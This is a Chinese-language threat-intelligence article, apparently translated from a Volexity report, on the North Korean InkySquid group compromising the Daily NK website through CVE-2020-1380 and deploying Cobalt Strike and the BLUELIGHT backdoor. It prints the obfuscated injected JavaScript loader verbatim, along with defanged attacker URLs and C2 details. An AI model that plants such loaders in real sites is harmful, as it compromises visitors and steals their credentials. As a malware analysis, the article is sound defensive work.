朝鲜InkySquid APT组织利用浏览器漏洞感染受害者

admin 2022年1月5日10:59:26评论108 views字数 2867阅读9分33秒阅读模式

朝鲜InkySquid APT组织利用浏览器漏洞感染受害者

朝鲜InkySquid APT组织利用浏览器漏洞感染受害者。

2021年4月,Volexity研究人员识别出了通过www.dailynk[.]com网站加载到恶意子域名的jquery[.]services可疑代码。加载恶意代码的URL包括:

hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery.min.js?ver=3.5.1

hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2

这些URL指向的是Daily NK网站使用的合法文件,但是内容被攻击者修改了,其中包含重定向用户从攻击者控制的域名jquery[.]services加载恶意JS。攻击者控制的代码只加入了很短的时间就被移除了,使得攻击者活动的识别变得非常困难。

朝鲜InkySquid APT组织利用浏览器漏洞感染受害者
CVE-2020-1380

Volexity研究人员发现攻击者利用的首个漏洞是CVE-2020-1380,一个IE 0 day漏洞利用。攻击者在Daily NK网站的下述合法文件中加入了一行代码:

hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery.min.js?ver=3.5.1

加入到Daily NK网站的混淆的代码如下:

function vgrai(){var e=document.createElement("script");e.src=fecet("w6625I>>7x=y37t4;=5t48xrt5>4t52105x8t<t:6t0s=/x0=y5",15),document.head&&document.head.appendChild(e)}function vdgie(){const e=window.navigator.userAgent,t=e.indexOf("rv:11.0 "),i=e.indexOf("Trident/");return t>0||i>0}vdgie()&&vgrai();

加入以上代码后,如果用户用IE来访问Daily NK,页面就会从以下URL加载其他的JS文件:

hxxps://ui.jquery[.]services/responsive-extend.min.js

请求时,由于有正确的IE User-Agent,主机就会作为其他混淆的JS代码。初始重定向后,攻击者会选择将恶意代码隐藏在合法代码中。在本例中,攻击者使用了"bPopUp" JS库。这一选择具有2个结果:

◼分析JS的人可能会误认为其是合法的,因为大多数代码都是非恶意的;

◼识别恶意JS代码的自动化解决方案也可能会误认为这些代码是非恶意的,因为代码大部分可以与合法库内容匹配。

攻击者使用的漏洞利用代码中还包含许多混淆在变量中的字符串,以使其显得像合法的SVG内容。攻击者隐藏字符串的示例如图1所示:

朝鲜InkySquid APT组织利用浏览器漏洞感染受害者

图 1. SVG变量中混淆的字符串

为解密这些字符串,需要执行以下步骤:

◼通过M43.2字符串将path变量中的d属性中的数据分割开来;

◼将分割出的数据的每个元素通过空格符再次分割,会得到一个数字列表;

◼将这些数字转成整数;

◼如果整数大于30,就减去17,并加到生成的字符串中。如果整数小于等于30,就丢弃该数字。

总的来看,一共使用了3个假的SVG对象。一旦这些对象中的字符串替换为JS,识别漏洞利用就很容易了。解密和替换后的代码如图2所示:

朝鲜InkySquid APT组织利用浏览器漏洞感染受害者

图 2. CVE-2020-1380实现

代码对应的是TrendMicro研究人员发布的CVE-2020-1380漏洞PoC代码。

成功利用后,JS会使用相同的方法来解密最终的SVG变量,最终生成一个十六进制编码的Cobalt Strike stager,然后解码和执行。本例中,下载其他shellcode的URL包括:

◼hxxps://ui.jquery[.]services/swipeout.min.js

◼hxxps://ui.jquery[.]services/swipeout.min.css

◼hxxps://ui.jquery[.]services/slider.min.css

朝鲜InkySquid APT组织利用浏览器漏洞感染受害者
BLUELIGHT

在另一个样本中,攻击者使用jquery[.]services子域名来存放一个新的恶意软件家族。文件存放位置为:

hxxps://storage.jquery[.]services/log/history

history文件是一个XOR编码的定制恶意软件副本,恶意软件开发者和Volexity都将其命名为BLUELIGHT。命名依据是恶意软件PDB字符串:

E:DevelopmentBACKDOORncovReleasebluelight.pdb

BLUELIGHT是Cobalt Strike成功传播后的第二个payload。BLUELIGHT恶意软件使用不同的云服务提供商作为C2。恶意软件样本使用Microsoft Graph API进行C2操作。最开始的时候,BLUELIGHT使用硬编码的参数来进行oauth 2 token认证。客户端认证后,BLUELIGHT就会在OneDrive appfolder文件夹下创建子目录,创建的子目录名有:

  • logo

  • normal

  • background

  • theme

  • round

文件夹和子目录建立后,就会以JSON对象的格式来收集以下信息:

  • 用户名

  • 计算机名

  • 操作系统版本

  • Web IP

  • 默认接口的本地IP

  • 本地时间

  • 植入的二进制文件是32位还是64位

  • 进程SID授权登记

  • 进程文件名

  • 安装的反病毒软件列表

  • 受感染的机器是否运行虚拟机

这些数据会经过XOR编码为一个二进制blob并上传。所有上传的文件都会以.jpg作为扩展,不同的子目录和文件名表明不同类型的命令数据。

C2循环在初始上传侦查数据后开始,大约30秒循环一次。前5分钟内,每个循环会截图,并以时间戳作为文件名上传到normal子目录。5分钟后,截图每隔5分钟上传一次。

在每个循环中,客户端会通过美剧background子目录来查询新的命令。文件名表明要执行的命令,文件的内容提供命令相关的进一步信息。支持的命令包括:

  • 执行和下载shellcode

  • 下载和启动可执行文件,然后上传程序输出

  • 获取IE、Edge、Chrome、Naver Whale等支持的浏览器中的cookie和密码数据库

  • 递归检索路径和上传文件元数据;

  • 产生一个进程来递归检索路径,以zip文件形式上传文件;

  • 中止文件上传线程。

  • 卸载。

命令文件在处理后会被删除,大多数命令生成的文件会上传到round目录。但zip upload会使用theme子目录。

参考及来源:https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/

朝鲜InkySquid APT组织利用浏览器漏洞感染受害者

朝鲜InkySquid APT组织利用浏览器漏洞感染受害者

本文始发于微信公众号(嘶吼专业版):朝鲜InkySquid APT组织利用浏览器漏洞感染受害者

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日10:59:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   朝鲜InkySquid APT组织利用浏览器漏洞感染受害者https://cn-sec.com/archives/476270.html

发表评论

匿名网友 填写信息